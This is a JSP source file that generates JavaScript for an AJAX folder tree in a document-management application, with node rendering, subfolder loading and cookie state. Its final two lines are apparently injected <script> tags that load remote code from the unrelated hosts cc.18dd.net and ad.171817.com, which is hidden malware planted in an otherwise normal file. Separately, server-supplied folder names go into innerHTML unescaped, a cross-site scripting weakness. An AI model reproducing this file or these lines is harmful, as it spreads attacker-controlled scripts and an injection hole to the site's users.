<%@ page language="java" %>
<%@ page contentType="application/x-javascript" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
// Node object
function Node(idx, pidx, id, pid, name, tp, lv, hc, il, io, ii) {
	this.idx = idx;
	this.pidx = pidx;
	this.id = id;
	this.pid = pid;
	this.name = name;
	this.tp = tp;
	this.lv = lv; //level
	this.hc = hc; //has children
	this.il = il; //last node
	this.io = io; //is open(get from cookie)
	this.ii = ii; //is init(ajax)
};

// Tree object
function dTree(objName) {
	this.config = {
    usePermission    : true,
    useCookies			 : true,
    useCheckbox      : false,
    useTextClickOpen : false,
    useTextClickClose: false
	}
	this.icon = {
		root			     : '<html:img src="IconTreeRoot.gif"  align="absmiddle" pathOnly="true"/>',
		rootOpen			 : '<html:img src="IconTreeRoot.gif"  align="absmiddle" pathOnly="true"/>',
		folder		     : '<html:img src="IconTreeFolderClosed.gif"  align="absmiddle" pathOnly="true"/>',
		folderOpen	   : '<html:img src="IconTreeFolderOpened.gif"  align="absmiddle" pathOnly="true"/>',
		compound	     : '<html:img src="IconTreeCompoundClosed.gif"  align="absmiddle" pathOnly="true"/>',
		compoundOpen   : '<html:img src="IconTreeCompoundOpened.gif"  align="absmiddle" pathOnly="true"/>',
		paper 		     : '<html:img src="IconTreePaperDocClose.gif"  align="absmiddle" pathOnly="true"/>',
		paperOpen	     : '<html:img src="IconTreePaperDocOpen.gif"  align="absmiddle" pathOnly="true"/>',
		email 		     : '<html:img src="IconTreeEmailDocClose.gif"  align="absmiddle" pathOnly="true"/>',
		emailOpen	     : '<html:img src="IconTreeEmailDocOpen.gif"  align="absmiddle" pathOnly="true"/>',
		form  		     : '<html:img src="IconTreeFormDocClose.gif"  align="absmiddle" pathOnly="true"/>',
		formOpen	     : '<html:img src="IconTreeFormDocOpen.gif"  align="absmiddle" pathOnly="true"/>',
		workflow  		 : '<html:img src="IconTreeFlowDocClose.gif"  align="absmiddle" pathOnly="true"/>',
		workflowOpen	 : '<html:img src="IconTreeFlowDocOpen.gif"  align="absmiddle" pathOnly="true"/>',
		shortcut		   : '<html:img src="IconDMSFolderShortcut.gif"  align="absmiddle" pathOnly="true"/>',
		file			     : '<html:img src="IconTreeFile.gif"  align="absmiddle" pathOnly="true"/>',
		empty			     : '<html:img src="IconTreeBlank.gif"  align="absmiddle" pathOnly="true"/>',
		line			     : '<html:img src="IconTreeI.gif"  align="absmiddle" pathOnly="true"/>',
		join			     : '<html:img src="IconTreeT.gif"  align="absmiddle" pathOnly="true"/>',
		joinBottom	   : '<html:img src="IconTreeL.gif"  align="absmiddle" pathOnly="true"/>',
		plus			     : '<html:img src="IconTreeTPlus.gif"  align="absmiddle" pathOnly="true"/>',
		plusBottom	   : '<html:img src="IconTreeLPlus.gif"  align="absmiddle" pathOnly="true"/>',
		minus			     : '<html:img src="IconTreeTMinus.gif"  align="absmiddle" pathOnly="true"/>',
		minusBottom	   : '<html:img src="IconTreeLMinus.gif"  align="absmiddle" pathOnly="true"/>'
	};

	this.obj = objName;
	this.aNodes = [];
	this.aIndent = [];
	this.rootType = 'U';
	this.rootId = 0;
	this.ownerId = 0;
	this.sNodeIndex = null;
};

function clickNodeAction(obj, cn) {
};

// Adds a new node to the node array
dTree.prototype.add = function(idx, pidx, id, pid, name, tp, lv, hc, il, io, ii) {
	this.aNodes[idx] = new Node(idx, pidx, id, pid, name, tp, lv, hc, il, io, ii);
};

dTree.prototype.s = function(idx) {
	if (this.sNodeIndex!=null) {
		var eOldSel = document.getElementById('s' + this.obj + this.sNodeIndex);
		eOldSel.className = "node";
	}
	var eSel = document.getElementById('s' + this.obj + idx);
	eSel.className = "nodeSel";
	this.sNodeIndex = idx;
	if (this.aNodes[idx].hc && idx!=0) {
    var status = this.aNodes[idx].io;
    if (!status && this.config.useTextClickOpen) this.o(idx);
    if (status && this.config.useTextClickClose) this.o(idx);
  }
  if (this.config.useCookies) this.updateCookie();
	clickNodeAction(this, this.aNodes[idx]);
};

// Toggle Open or close
dTree.prototype.o = function(idx) {
	var cn = this.aNodes[idx];
	
	if (!cn.ii)	{
		if (this.callAJaxToGetNode(idx, cn.id, cn.lv+1)) {
			cn.ii = true;
		}
	}
	this.nodeStatus(idx, !cn.io, cn.il);
	cn.io = !cn.io;
	if (this.config.useCookies) this.updateCookie();
};

// Toggle Open or close
dTree.prototype.c = function(obj, idx) {
	if (obj.checked) {
    this.checkAllParent(idx, false);
    this.checkAllChildren(idx, false);
  }
};

// Call children node
dTree.prototype.callAJaxToGetNode = function(pidx, pid, lv) {
	var url = "<%=request.getContextPath()%>/jsp/dms/subFolderString.jsp?rootType="+this.rootType+"&rootId="+this.rootId+"&ownerId="+this.ownerId+"&parentId="+pid+"&permission="+this.config.usePermission+"&date="+new Date();
	var http_request;
  if(window.XMLHttpRequest) {
    http_request = new XMLHttpRequest();
    if (http_request.overrideMimeType) {
      http_request.overrideMimeType('text/xml');
    }
  }else if (window.ActiveXObject) {
    try {
      http_request = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        http_request = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e) {}
    }
  }
	if (!http_request) {
		window.alert("Can not establish XMLHttpRequest instance.");
		return false;
	}
	http_request.open("GET", url, false);
	http_request.send("");
	var result = http_request.responseText;
	if (result.indexOf("ERROR:")!=-1) {
		alert("Get children folder node failure.\n"+result);
		return false;
	}else {
		var divCode = this.appendChidrenNode(pidx, result, lv);
		var cDiv = document.getElementById("d"+this.obj+""+pidx);
		if (cDiv) {
			cDiv.innerHTML = divCode;
			return true;
		}else {
			alert('Can not get parent node.');
			return false;
		}
	}
};

dTree.prototype.appendChidrenNode = function(pidx, rs, lv) {
	var divCode = "";
	var cn = rs.split(":#:");
	var aLen = this.aNodes.length;
	for (var i=0;i<cn.length;i++) {
		var en = cn[i].split("|#|");
		var idx = aLen + i;
		this.add(idx, pidx, parseInt(en[0]),parseInt(en[1]),en[2],en[3],lv,(en[4]=='true'),(en[5]=='true'),false,false);
		divCode += "<div class=\"dTreeNode\">\n";
		divCode += this.getIndent(pidx, idx, parseInt(en[0]), (en[4]=='true'),(en[5]=='true'), en[3], lv);
		divCode += " <a id=\"s"+this.obj+idx+"\" class=\"node\" href=\"javascript:"+this.obj+".s("+idx+");\">"+en[2]+"</a>\n";
		divCode += "</div>\n";
		if (en[4]=='true') {
			divCode += "<div id=\"d"+this.obj+""+idx+"\" class=\"clip\" style=\"display:none;\"></div>\n";
		}
	}
	return divCode;
}

dTree.prototype.getIndent = function(pidx, idx, id, hc, il, tp, lv) {
	this.setAIndent(pidx, lv-1);
	var str = "";
	for (var n=2; n<lv; n++) {
		str += '<img src="' + ( this.aIndent[n] ? this.icon.empty : this.icon.line ) + '" align="absmiddle" border="0" alt="" />';
	}
	if (hc) {
		str += '<a href="javascript: ' + this.obj + '.o(' + idx + ');"><img id="j' + this.obj + idx + '" src="';
		str += (il ? this.icon.plusBottom : this.icon.plus);
		str += '" align="absmiddle" border="0" alt="" /></a>';
	} else {
		str += '<img src="' + (il ? this.icon.joinBottom : this.icon.join ) + '" align="absmiddle" border="0" alt="" />';
	}
  var iIcon = null;
  switch (tp) {
    case 'Z': iIcon = this.icon.folder; break;
    case 'C': iIcon = this.icon.compound; break;
    case 'H': iIcon = this.icon.paper; break;
    case 'E': iIcon = this.icon.email; break;
    case 'F': iIcon = this.icon.form; break;
    case 'W': iIcon = this.icon.workflow; break;
    case 'L': iIcon = this.icon.shortcut; break;
    case 'D': iIcon = this.icon.file; break;
    default : iIcon = this.icon.folder;
  }
	str += '<img id="i' + this.obj + idx + '" src="' + iIcon + '" align="absmiddle" border="0" alt="" />';
  if (this.config.useCheckbox) {
    str += '<input type="checkbox" id="c' + this.obj + idx + '" name="dmsDocsID" value="'+id+'" class="checkbox" onclick="javascript:'+this.obj+'.c(this, '+idx+');">';
  }
	return str;
};

dTree.prototype.setAIndent = function(pidx, lv) {
	var cn = this.aNodes[pidx];
	this.aIndent[lv] = cn.il ? true : false;
	if (cn.pidx>=0) {
		this.setAIndent(cn.pidx, lv-1);
	}
}

dTree.prototype.getFullPathString = function(idx) {
	var cn = this.aNodes[idx];
	var str = cn.name;
	if (cn.pidx>=0) {
		str = this.getFullPathString(cn.pidx)+"\\"+ str;
	}
	return str;
}

// Change the status of a node(open or closed)
dTree.prototype.nodeStatus = function(idx, status, il) {
	eJoin	= document.getElementById('j' + this.obj + idx);
	eIcon	= document.getElementById('i' + this.obj + idx);
	eDiv	= document.getElementById('d' + this.obj + idx);
	eJoin.src = il ? 
		(status?this.icon.minusBottom:this.icon.plusBottom) :
		(status?this.icon.minus:this.icon.plus); 
  switch (this.aNodes[idx].tp) {
    case 'Z': eIcon.src = status ? this.icon.folderOpen : this.icon.folder; break;
    case 'C': eIcon.src = status ? this.icon.compoundOpen : this.icon.compound; break;
    case 'H': eIcon.src = status ? this.icon.paperOpen : this.icon.paper; break;
    case 'E': eIcon.src = status ? this.icon.emailOpen : this.icon.email; break;
    case 'F': eIcon.src = status ? this.icon.formOpen : this.icon.form; break;
    case 'W': eIcon.src = status ? this.icon.workflowOpen : this.icon.workflow; break;
    case 'L': eIcon.src = status ? this.icon.shortcut : this.icon.shortcut; break;
    case 'D': eIcon.src = status ? this.icon.file : this.icon.file; break;
    default : eIcon.src = status ? this.icon.folderOpen : this.icon.folder;
  }
	eDiv.style.display = status? "block" : "none";	
};


dTree.prototype.checkAllParent = function(idx, status) {
  var cn = this.aNodes[idx];
  if (cn.pidx>-1) {
    this.checkStatus(cn.pidx, status);
    this.checkAllParent(cn.pidx, status);
	}
};

dTree.prototype.checkAllChildren = function(idx, status) {
	for (var n=0; n<this.aNodes.length; n++) {
		if (this.aNodes[n].pidx == idx) {
			this.checkStatus(this.aNodes[n].idx, status);
			if (this.aNodes[n].hc) this.checkAllChildren(this.aNodes[n].idx, status);
		}
	}
};

// Change the status of checkbox
dTree.prototype.checkStatus = function(idx, status) {
	var cobj	= document.getElementById('c' + this.obj + idx);
	cobj.checked = status;
};


// [Cookie] Clears a cookie
dTree.prototype.clearCookie = function() {
	var now = new Date();
	var yesterday = new Date(now.getTime() - 1000 * 60 * 60 * 24);
	this.setCookie('co'+this.obj, 'cookieValue', yesterday);
	this.setCookie('cs'+this.obj, 'cookieValue', yesterday);
};

// [Cookie] Sets value in a cookie
dTree.prototype.setCookie = function(cookieName, cookieValue, expires, path, domain, secure) {
	document.cookie =
		escape(cookieName) + '=' + escape(cookieValue)
		+ (expires ? '; expires=' + expires.toGMTString() : '')
		+ (path ? '; path=' + path : '')
		+ (domain ? '; domain=' + domain : '')
		+ (secure ? '; secure' : '');
};

// [Cookie] Gets a value from a cookie
dTree.prototype.getCookie = function(cookieName) {
	var cookieValue = '';
	var posName = document.cookie.indexOf(escape(cookieName) + '=');
	if (posName != -1) {
		var posValue = posName + (escape(cookieName) + '=').length;
		var endPos = document.cookie.indexOf(';', posValue);
		if (endPos != -1) cookieValue = unescape(document.cookie.substring(posValue, endPos));
		else cookieValue = unescape(document.cookie.substring(posValue));
	}
	return (cookieValue);
};

// [Cookie] Returns ids of open nodes as a string
dTree.prototype.updateCookie = function() {
	var str = '.';
	for (var n=0; n<this.aNodes.length; n++) {
		if (this.aNodes[n].io) {
			str += this.aNodes[n].id+".";
		}
	}
	this.setCookie('co' + this.obj, str);
};



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>